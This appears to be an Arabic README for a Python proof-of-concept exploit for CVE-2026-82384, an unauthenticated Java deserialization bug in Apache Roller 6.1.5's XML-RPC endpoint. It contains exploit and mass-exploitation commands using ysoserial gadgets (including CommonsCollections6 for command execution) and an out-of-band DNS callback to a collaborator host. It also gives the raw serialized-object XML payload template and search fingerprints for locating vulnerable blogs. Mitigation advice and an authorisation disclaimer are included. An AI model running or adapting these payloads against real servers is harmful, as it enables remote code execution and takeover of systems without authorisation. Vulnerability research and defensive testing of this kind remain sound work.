
أداة إثبات مفهوم بلغة Python للثغرة CVE-2026-82384: تكشف وتستغل إزالة تسلسل Java غير المصادق عليها عبر XML-RPC في Apache Roller 6.1.5 باستخدام حمولات ysoserial، مع إمكانية الفحص الجماعي.
إثبات مفهوم (PoC) بلغة Python 3 لـ CVE-2026-82384 — إلغاء تسلسل Java غير مُصادَق عليه في Apache Roller 6.1.5 عبر servlet XML-RPC القديم.
صفحة PoC: https://pocbit.org/pocs/cve-2026-82384
Apache Roller هو خادم مدونات متعدد المستخدمين مبني على Java (تاريخيًا "Roller Weblogger"). عادةً ما تكون عمليات النشر عبارة عن ملفات WAR على Tomcat مع واجهة مستخدم تحت /roller-ui/ وواجهات Blogger / MetaWeblog القديمة عبر XML-RPC على /roller-services/xmlrpc. أصلح Roller 6.1.5 (سبتمبر 2025) مشكلة جلسات غير ذات صلة (CVE-2025-24859) لكنه ترك حزمة XML-RPC في تهيئة خطرة بالنسبة لهذه الثغرة.
CVE-2026-82384 هي إلغاء تسلسل بيانات غير موثوقة (CWE-502) على نقطة نهاية XML-RPC:
XmlRpcServlet في Roller مع enabledForExtensions=true، لذا تقبل مكتبة Apache ws-xmlrpc أنواع الامتدادات الخاصة بالمورّد، بما في ذلك ex:serializable — وهو كائن Java مُسلسَل مُرمَّز بـ base64.web.xml، لذا يستمر المحلل في العمل حتى عندما يعطّل المسؤولون XML-RPC في إعدادات Roller (webservices.enableXmlRpc=false). تعطيل الميزة في واجهة المستخدم لا يغلق هذا المسار قبل المصادقة على 6.1.5.المتأثر: Apache Roller 6.1.5 فقط (وفقًا لإرشاد المورّد).
تم الإصلاح: Apache Roller 6.1.6+ (PR #171): enabledForExtensions=false، ورفض الطلبات عندما يكون XML-RPC معطّلًا عالميًا.
| المقياس | القيمة |
|---|---|
| CVSS 3.1 | 9.8 حرجة — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| المصادقة | لا شيء بالنسبة لبدائية إلغاء التسلسل |
| المكتشف | n0mi1k |
| المورّد | Apache Software Foundation |
| العنصر | التفصيل |
|---|---|
| نقطة النهاية | POST /roller-services/xmlrpc (جرّب أيضًا /roller/roller-services/xmlrpc) |
| Content-Type | text/xml |
| المُشغِّل | <ex:serializable xmlns:ex="http://ws.apache.org/xmlrpc/namespaces/extensions">BASE64</ex:serializable> داخل methodCall |
| سلسلة الأدوات (Gadget chain) | تعتمد على classpath (Commons Collections، إلخ)؛ غالبًا ما تُولَّد باستخدام ysoserial |
| التأثير | تنفيذ تعليمات برمجية عن بُعد بصلاحيات مستخدم نظام التشغيل Tomcat/Roller؛ عادةً تحكم كامل في بيانات المدونة والانتقال إلى المضيف |
| الوضع | السلوك |
|---|---|
check | يكتشف بصمات Roller، ويحدد موقع URL الخاص بـ XML-RPC، مع --probe-deser الاختياري (يرسل بايتات فحص ex:serializable) |
exploit | ينشر حمولتك المُسلسَلة (ملف، أو base64، أو ysoserial عبر --ysoserial-jar) |
| الجماعي | --list targets.txt --mode exploit -j N — معالجة جماعية متوازية مع JSONL + exploited.txt |
حقول PoCbit: pocbit، pocbit_catalog، pocbit_page في كل صف JSONL.
CLI: لافتة ملوّنة، أسطر [HIT] / [EXPLOIT] / [FAIL] (عطّلها باستخدام --no-color).
هذا المستودع لا يتضمن سلاسل أدوات RCE جاهزة (تعتمد على classpath). للاستغلال الفعلي، قدّم مخرجات ysoserial أو ملف حمولة موثّقًا.
pip install -r requirements.txt
لـ RCE (ليس مجرد الكشف):
URLDNS (إثبات خارج النطاق)، CommonsCollections6 (تنفيذ الأوامر على مسار classpath النموذجي لـ Roller — تحقق في المختبر أولاً)python poc.py -u https://blog.example.com --mode check
python poc.py -u https://blog.example.com --mode check --probe-deser
python poc.py --list targets.example.txt --mode check -j 12
# OOB DNS proof (replace with your collaborator)
python poc.py -u https://blog.example.com --mode exploit \
--ysoserial-jar ysoserial.jar --ysoserial-gadget URLDNS \
--ysoserial-cmd pocbit.your-oast.domain
# Pre-generated base64 payload file
python poc.py -u https://blog.example.com --mode exploit --payload-file chain.b64
# Raw ysoserial bytes on disk
python poc.py -u https://blog.example.com --mode exploit --payload-file payload.bin
python poc.py --list targets.txt --mode exploit \
--ysoserial-jar ysoserial.jar --ysoserial-gadget URLDNS \
--ysoserial-cmd oast.example.com -j 10
المخرجات:
cve_2026_82384_exploit.jsonl — JSON لكل هدفexploited.txt — الأهداف التي تم فيها قبول الحمولة / إرسال OOB<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>system.listMethods</methodName>
<params>
<param>
<value>
<ex:serializable xmlns:ex="http://ws.apache.org/xmlrpc/namespaces/extensions">
BASE64_JAVA_SERIALIZED_OBJECT
</ex:serializable>
</value>
</param>
</params>
</methodCall>
على 6.1.5، قد يؤدي تحليل هذا الجسم إلى إزالة التسلسل قبل أن يفرض أي معالج أسلوب التحقق من بيانات الاعتماد.
/roller-services/xmlrpc على الوكيل العكسي / WAF (اسمح فقط بعناوين IP الخاصة بالمسؤولين).Apache Roller، /roller-ui/، مضيفي المدونات على المنفذ 8080/8443.body="Apache Roller"
body="/roller-ui/"
body="/roller-services/xmlrpc"
title="Roller"
تحقق من الإصدار 6.1.5 من التذييل أو صفحة "حول" أو WEB-INF / ملاحظات الإصدار قبل اعتباره قابلًا للاستغلال.
استخدمه فقط على الأنظمة المصرح لك باختبارها. يمكن أن تتسبب ثغرات إلغاء التسلسل في تدمير البيانات وانتهاك القانون في حال إساءة الاستخدام.